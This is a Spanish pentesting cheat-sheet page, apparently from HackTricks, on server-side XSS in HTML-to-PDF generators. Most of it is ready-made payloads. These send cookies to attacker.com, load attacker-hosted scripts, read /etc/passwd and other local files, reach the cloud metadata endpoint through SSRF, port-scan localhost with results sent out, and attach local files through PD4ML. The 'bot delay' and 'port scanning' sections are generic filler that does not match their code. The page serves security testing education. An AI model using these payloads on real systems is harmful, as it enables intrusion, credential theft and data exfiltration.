hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

14 KiB

XSS en el lado del servidor (PDF dinámico)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

XSS en el lado del servidor (PDF dinámico)

Si una página web está creando un PDF utilizando una entrada controlada por el usuario, puedes intentar engañar al bot que está creando el PDF para que ejecute código JS arbitrario.
Entonces, si el bot creador de PDF encuentra algún tipo de etiquetas HTML, las va a interpretar, y puedes abusar de este comportamiento para causar un XSS en el lado del servidor.

Por favor, ten en cuenta que las etiquetas <script></script> no siempre funcionan, por lo que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de <img ).
Además, ten en cuenta que en una explotación regular podrás ver/descargar el PDF creado, por lo que podrás ver todo lo que escribas a través de JS (usando document.write() por ejemplo). Pero, si no puedes ver el PDF creado, probablemente necesitarás extraer la información haciendo solicitudes web hacia ti (Blind).

Generación de PDF populares

  • wkhtmltopdf: Esta es una herramienta de línea de comandos de código abierto que utiliza el motor de renderizado WebKit para convertir HTML y CSS en documentos PDF.
  • TCPDF: Una biblioteca de PHP para generar documentos PDF que admite una amplia gama de características, incluyendo imágenes, gráficos y cifrado.
  • PDFKit : Una biblioteca de Node.js que se puede utilizar para generar documentos PDF a partir de HTML y CSS.
  • iText: Una biblioteca basada en Java para generar documentos PDF que admite una variedad de características, incluyendo firmas digitales y relleno de formularios.
  • FPDF: Una biblioteca de PHP para generar documentos PDF que es ligera y fácil de usar.

Payloads

Descubrimiento

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Cualquiera de los siguientes payloads anteriores puede ser utilizado dentro de este payload SVG. Se colocan como ejemplos un iframe que accede a un subdominio de Burpcollab y otro que accede al endpoint de metadatos.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Puedes encontrar muchos otros payloads SVG en https://github.com/allanlw/svg-cheatsheet

Divulgación de ruta

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Cargar un script externo

La mejor manera de aprovechar esta vulnerabilidad es abusar de ella para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar el payload localmente y hacer que el bot lo cargue con el mismo código cada vez.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Leer archivo local / SSRF

{% hint style="warning" %} Cambia file:///etc/passwd por http://169.254.169.254/latest/user-data por ejemplo para intentar acceder a una página web externa (SSRF).

Si se permite SSRF, pero no puedes acceder a un dominio o IP interesante, consulta esta página para posibles bypass. {% endhint %}

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Retraso del bot

En algunas situaciones, es posible que desee agregar un retraso a las solicitudes realizadas por su bot para evitar llamar la atención o evitar bloqueos por parte del servidor objetivo. El retraso del bot implica agregar una pausa entre las solicitudes para simular el comportamiento humano y evitar ser detectado como un bot automatizado.

El retraso del bot se puede lograr utilizando funciones de espera o temporizadores en el código del bot. Estas funciones permiten establecer un tiempo de espera antes de realizar la siguiente solicitud. El tiempo de espera puede ser aleatorio o predefinido, dependiendo de sus necesidades y del escenario de prueba.

Es importante tener en cuenta que el retraso del bot debe ser realista y no excesivo. Un retraso demasiado largo puede afectar negativamente la eficiencia y la velocidad de su bot, mientras que un retraso demasiado corto puede aumentar el riesgo de ser detectado como un bot.

Al implementar un retraso del bot, es recomendable realizar pruebas y ajustes para encontrar el equilibrio adecuado entre la velocidad y la discreción.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Escaneo de puertos

Un escaneo de puertos es una técnica utilizada para identificar los puertos abiertos en un sistema o red. Esto se hace enviando paquetes de datos a través de diferentes puertos y analizando las respuestas recibidas. El objetivo principal de un escaneo de puertos es descubrir servicios o aplicaciones que se estén ejecutando en un sistema y determinar si existen vulnerabilidades que puedan ser explotadas.

Existen diferentes tipos de escaneo de puertos, como el escaneo TCP, el escaneo UDP y el escaneo SYN. Cada tipo de escaneo se utiliza para identificar diferentes tipos de servicios y vulnerabilidades. Por ejemplo, el escaneo TCP se utiliza para identificar servicios que utilizan el protocolo TCP, como HTTP, FTP y SSH. El escaneo UDP se utiliza para identificar servicios que utilizan el protocolo UDP, como DNS y DHCP. El escaneo SYN se utiliza para identificar sistemas que tienen puertos abiertos pero no responden a las solicitudes de conexión.

Un escaneo de puertos puede ser realizado tanto por hackers maliciosos como por profesionales de la seguridad informática. Los hackers maliciosos pueden utilizar un escaneo de puertos para identificar sistemas vulnerables que puedan ser atacados. Por otro lado, los profesionales de la seguridad informática pueden utilizar un escaneo de puertos como parte de un proceso de evaluación de seguridad, conocido como pentesting, para identificar posibles vulnerabilidades en un sistema o red y tomar medidas para mitigar los riesgos.

Es importante tener en cuenta que realizar un escaneo de puertos sin el permiso del propietario del sistema o red es ilegal y puede tener consecuencias legales graves. Siempre es recomendable obtener el consentimiento por escrito antes de realizar cualquier tipo de escaneo de puertos.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que intenta explotarla (¿leer algunos metadatos?).

Adjuntos: PD4ML

Existen algunos motores HTML a PDF que permiten especificar adjuntos para el PDF, como PD4ML. Puedes abusar de esta función para adjuntar cualquier archivo local al PDF.
Para abrir el adjunto, abrí el archivo con Firefox y hice doble clic en el símbolo de clip de papel para guardar el adjunto como un nuevo archivo.
Capturar la respuesta en PDF con Burp también debería mostrar el adjunto en texto claro dentro del PDF.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥